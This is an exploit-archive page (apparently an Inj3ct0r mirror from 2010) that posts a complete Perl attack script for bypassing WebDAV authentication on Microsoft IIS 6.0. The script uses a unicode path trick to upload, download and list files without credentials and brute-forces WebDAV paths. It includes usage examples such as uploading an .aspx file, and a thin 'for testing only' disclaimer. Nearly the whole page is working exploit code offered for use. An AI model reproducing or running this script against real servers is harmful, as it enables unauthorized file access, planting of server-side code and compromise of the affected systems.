Home / os / win7

[remote exploits] - MS IIS 6.0 WebDAV Auth. Bypass Exploit

Posted on 24 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>MS IIS 6.0 WebDAV Auth. Bypass Exploit | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Date: 24 Sep 2010 | Exploit category: remote exploits | Exploit author: FoX HaCkEr | Inj3ct0r exploit database' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>====================================== MS IIS 6.0 WebDAV Auth. Bypass Exploit ====================================== # Author : FoX HaCkEr #Contact : MKQ@HoTmAiL.CoM # SiTe : www.sec4ever.com ====================================================================================================== #!/usr/bin/perl # ********* !!! WARNING !!! ********* # * FOR SECURITY TESTiNG ONLY! * # *********************************** # MS IIS 6.0 WebDAV Auth. Bypass Exploit v1.1 # v1.1 add brute force dir fuction. # v1.0 download?upload and list dir. # # Usage: # IIS6_webdav.pl -target -port -method -webdavpath|-BruteForcePath [-file] # -target &amp;nbs p; eg.: 192.168.1.1 # -port eg.: 80 # -method eg.: g # (p:PUT,g:GET,l:LIST) # -webdavpath eg.: webdav # -BruteForcePath eg.: brute force webdav path # -file (optional) eg.: test.aspx # Example: # put a file: # IIS6_webdav.pl -t 192.168.1.1 -p 80 -m p -x webdav -f test.aspx # get a file: # IIS6_webdav.pl -t 192.168.1.1 -p 80 -m g -x webdav -f test.aspx # list dir: # IIS6_webdav.pl -t 192.168.1.1 -p 80 -m l -x webdav # brute force + list dir: # IIS6_webdav.pl -t 192.168.1.1 -p 80 -m l -b dirdic.txt # brute force + get file: # IIS6_webdav.pl -t 192.168.1.1 -p 80 -m g -b dirdic.txt -f test.aspx use IO::Socket;use Getopt::Long; use threads; use threads::shared; # Globals Go Here. my $target; # Host being probed. my $port; # Webserver port. my $method; # HTTP Method, PUT GET or . my $xpath; # WebDAV path on Webserver. my $bpath; # Bruteforce WebDAV path. my $file; # file name. my $httpmethod; my $Host_Header; # The Host header has to be changed GetOptions( &quot;target=s&quot; ; =&gt; $target, &quot;port=i&quot; =&gt; $port, &quot;method=s&quot; =&gt; $method, &quot;xpath=s&quot; =&gt; $xpath, &quot;bpath=s&quot; =&gt; $bpath, &quot;file=s&quot; =&gt; $file, &quot;help|?&quot; =&gt; sub { hello(); exit(0); } ); $error .= &quot;Error: You must specify a target host &quot; if ((!$target)); $error .= &quot;Error: You must specify a target port &quot; if ((!$port)); $error .= &quot;Error: You must specify a put,get or list method &quot; if ((!$method)); $error .= &quot;Error: You must specify a webdav path &quot; if ((!$xpath) &amp;&amp; (!$bpath)); $error .= &quot;Error: You must specify a upload or download file name &quot; if ((!$file) &amp;&amp; $method != &quot;l&quot;); if ($error) { print &quot;Try $0 -help or -?&#039; for more information. $error &quot; ; exit; } hello(); if ($method eq &quot;p&quot;) { $httpmethod = &quot;PUT&quot;; } elsif ($method eq &quot;g&quot;) { $httpmethod = &quot;GET&quot;; } elsif ($method eq &quot;l&quot;) { $httpmethod = &quot;PROPFIND&quot;; } else { print &quot;$method Method not accept !!! &quot;; exit(0); } # ************************************ # * We testing WebDAV methods first * # ************************************ webdavtest($target,$port); #end of WebDAV testing. # **************************************** # * We try to brute forceing WebDAV path * # **************************************** if ($bpath) { $xpath = webdavbf($target,$port,$bpath); } #end of brute force print &quot;-&quot; x 60 .&quot; &quot;; if ($httpmethod eq &quot;PUT&quot;) { my $content; my $data; #cacl file size $filesize = -s $file; print &quot;$file size is $filesize bytes &quot;; open(INFO, $file) || die(&quot;Could not open file!&quot;); #@lines=&lt;INFO&gt;; binmode(INFO); #binary while( read(INFO, $data, $filesize)) { $content .= $data; } close(INFO); #print $content; $Host_Header = &quot;Translate: f Host: $target Content-Length: $filesize &quot;; } elsif ($httpmethod eq &quot;GET&quot;) { $Host_Header = &quot;Translate: f Host: $target Connection: close &quot;; } elsif ($httpmethod eq &quot;PROPFIND&quot;) { $Host_Header = &quot;Host: $target Connection: close Content-Type: text/xml; charset=&quot;utf-8&quot; Content-Length: 0 &quot;; $Host_Header = $Host_Header.&quot;&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;&lt;D:propfind xmlns:D=&quot;DAV:&quot;&gt;&lt;D:prop xmlns:R=&quot;http://apache.org/dav/props/&quot;&gt;&lt;R:bigbox/&gt;&lt;R:author/&gt;&lt;R:DingALing/&gt;&lt;R:Random/&gt;&lt;/D:prop&gt;&lt;/D:propfind&gt;&quot;; } print &quot;-&quot; x 60 .&quot; $httpmethod $file , Please wait ... &quot;.&quot;-&quot; x 60 .&quot; &quot;; # ******************** **** # * Sending HTTP request * # ************************ if ($httpmethod eq &quot;PUT&quot;) { @results=sendraw2(&quot;$httpmethod /%c0%af$xpath/$file HTTP/1.0 $Host_Header $content&quot;,$target,$port,10); if ($#results &lt; 1){die &quot;10s timeout to $target on port $port &quot;;} } elsif ($httpmethod eq &quot;GET&quot;) { @results=sendraw2(&quot;$httpmethod /%c0%af$xpath/$file HTTP/1.0 $Host_Header&quot;,$target,$port,10); if ($#results &lt; 1){die &quot;10s timeout to $target on port $port &quot;;} } elsif ($httpmethod eq &quot;PROPFIND&quot;) { @results=sendraw2(&quot;$httpmethod /%c0%af$xpath/ HTTP/1.0 $Host_Header&quot;,$target,$port,10); if ($#results &lt; 1){die &quot;10s timeout to $target on port $port &quot;;} } #print @results; $flag=&quot;off&quot;; if ($results[0] =~ m|^HTTP/1.[01] 2[0-9][0-9] |){ $flag=&quot;on&quot;; } elsif ($results[0] =~ m|^HTTP/1.[01] 4[0-9][0-9] |){ $flag=&quot;off&quot;; }&amp;nb sp; print &quot;-&quot; x 60 .&quot; &quot;; if ($flag eq &quot;on&quot;) { if ($httpmethod eq &quot;PUT&quot;) { print &quot;$httpmethod $file from [$target:$port/$xpath] OK &quot;; } elsif ($httpmethod eq &quot;GET&quot;) { my $line_no = 0; my $counter = @results; foreach $line (@results){ ++$line_no; if ($line =~ /^Accept-Ranges: bytes /){ last; } } # Write file to disk open(OUTFILE, &quot;&gt;$file&quot;) or die &quot;Could not write to file: $! &quot;; binmode (OUTFILE); print OUTFILE @results[$line_no+1..$counter]; close(OUTFILE); print &quot;$httpmethod $file from [$target:$port/$xpath] OK Please check $file on local disk &quot;; } elsif ($httpmethod eq &quot;PROPFIND&quot;) { print &quot;$httpmethod path list from [$target:$port/$xpath] OK &quot;; foreach $line (@results){ if ($line =~ /^&lt;?xml version=/i){ my @list = split(&quot;&lt;a:href&gt;&quot;, $line); foreach $path (@list) { $no = index($path,&quot;&lt;&quot;); $result.=substr($path, 0, $no).&quot; &quot;; } print $result; ; last; } } } } else { print &quot;$httpmethod $file from [$target:$port/$xpath] FAILED!!! &quot;; } print &quot;-&quot; x 60 .&quot; &quot;; exit(0); # ************* # * Sendraw-2 * # ************* sub sendraw2 { my ($pstr,$realip,$realport,$timeout)=@_; my $target2 = inet_aton($realip); my $flagexit=0; $SIG{ALRM}=&amp;ermm; socket(S,PF_INET,SOCK_STREAM,getprotobyname(&#039;tcp&#039;)||0) || die(&quot;Socket problems&quot;); alarm($timeout); if (connect(S,pack &quot;SnA4x8&quot;,2,$realport,$target2)){ alarm(0); my @in; select(S); $|=1; print $pstr; alarm($timeout); while(&lt;S&gt;){ if ($flagexit == 1){ close (S); print STDOUT &quot;Timeout &quot;; return &quot;Timeout&quot;; } push @in, $_; } alarm(0); select(STDOUT); close(S); return @in; } else {return &quot;0&quot;;} } sub ermm{ $flagexit=1; close (S); } sub webdavtest { my ($testip,$testport)=@_; print &quot;-&quot; x 60 .&quot; &quot;; print &quot;Testing WebDAV methods [$testip $testport] &quot;; print &quot;-&quot; x 60 .&quot; &quot;; @results=sendraw2(&quot;OPTIONS / HTTP/1.0 &quot;,$testip,$testport,10); if ($#results &lt; 1){die &quot;10s timeout to $target on port $testport &quot;;} #print @results; $flag=&quot;off&quot;; foreach $line (@results){ if ($line =~ /^Server: /){ ($left,$right)=split(/:/,$line); $right =~ s/ //g; print &quot;$target : Server type is : $right&quot;; if ($right !~ /Microsoft-IIS/i){ print &quot;$target : Not a Microsoft IIS Server &quot;; exit(0); } } if ($line =~ /^DAV: /){ $flag=&quot;on&quot;; } if ($line =~ /^Public: / &amp;&amp; $flag eq &quot;on&quot;){ ($left,$right)=split(/:/,$line); &amp;n bsp; $right =~ s/ //g; print &quot;$target : Method type is : $right&quot;; if ($right !~ /$httpmethod/i){ print &quot;$target : Not allow $httpmethod on this WebDAV Server &quot;; exit(0); } else { $flag=&quot;on&quot;; } } } if ($flag eq &quot;off&quot;) { print &quot;$target : WebDAV disable &quot;; exit(0); } } sub webdavbf { my ($bfip,$bfport,$bfpath)=@_; print &quot;-&quot; x 60 .&quot; &quot;; print &quot;Try to brute forceing WebDAV path ... &quot;; print &quot;-&quot; x 60 .&quot; &quot;; &amp; nbsp; open(BF, $bfpath) || die(&quot;Could not open file!&quot;); foreach $lines (&lt;BF&gt;){ chomp($lines); $Host_Header = &quot;Host: $bfip Connection: close Content-Type: text/xml; charset=&quot;utf-8&quot; Content-Length: 0 &quot;; $Host_Header = $Host_Header.&quot;&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;&lt;D:propfind xmlns:D=&quot;DAV:&quot;&gt;&lt;D:prop xmlns:R=&quot;http://apache.org/dav/props/&quot;&gt;&lt;R:bigbox/&gt;&lt;R:author/&gt;&lt;R:DingALing/&gt;&lt;R:Random/&gt;&lt;/D:prop&gt;&lt;/D:propfind&gt;&quot;; @results=sendraw2(&quot;PROPFIND /$lines/ HTTP/1.0 $Host_Header&quot;,$bfip,$bfport,10); if ($#results &lt; 1){die &quot;10s timeout to $bfip on port $bfport &quot;;} print &quot;[$lines]...$results[0]&quot;; #maybe this response&lt; br&gt; #HTTP/1.1 207 Multi-Status if ($results[0] =~ m|^HTTP/1.[01] 401 |){ print &quot;Find out path on [$lines] &quot;; return $lines; last; } } close(BF) ; print &quot;Sorry... We can not find any more path... :( &quot;; exit(0); } sub hello{ print &quot; &quot;; print &quot; ################################################## &quot;; print &quot; # MS IIS 6.0 WebDAV Auth. Bypass Exploit V1.0 # &quot;; print &quot; # **************** !!! WARNING !!! **************# &quot;; print &quot; # **** FOR PRIV8 AND EDUCATIONAL USE ONLY! ****# &quot;; print &quot; # ***********************************************# &quot;; print &quot; # Written by csgcsg 090529 ; # &quot;; print &quot; ################################################### &quot;; print &quot; $0 -target -port -method -webdavpath [-file] &quot;; print &quot; -target eg.: 192.168.1.1 &quot;; print &quot; -port eg.: 80 &quot;; print &quot; -method (p:PUT, g:GET, l:LIST) eg.: g &quot;; print &quot; -webdavpath|-bruteForcePath eg.: webdav &quot;; print &quot; -file eg.: test.aspx &quot;; print &quot; Usage eg.: $0 -t 192.168.1.1 -p 80 -m p -x webdav -f test.aspx &quot;; }; ======================================================================================================= Gr33ts: Mr.MoDaMeR &amp; SILVER FoX &amp; Z7FAN HaCkEr &amp; Black Cobra &amp; KinG oF CnTroL &amp; MadjiX &amp; Ma3sTr0-Dz Lagripe-Dz &amp; Shi6oN HaCkEr &amp; ALL Members sec4ever &amp; ALL MY Friend in MsN &amp; ALL Members p0c team &amp; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-24]</pre></body></html>

 

TOP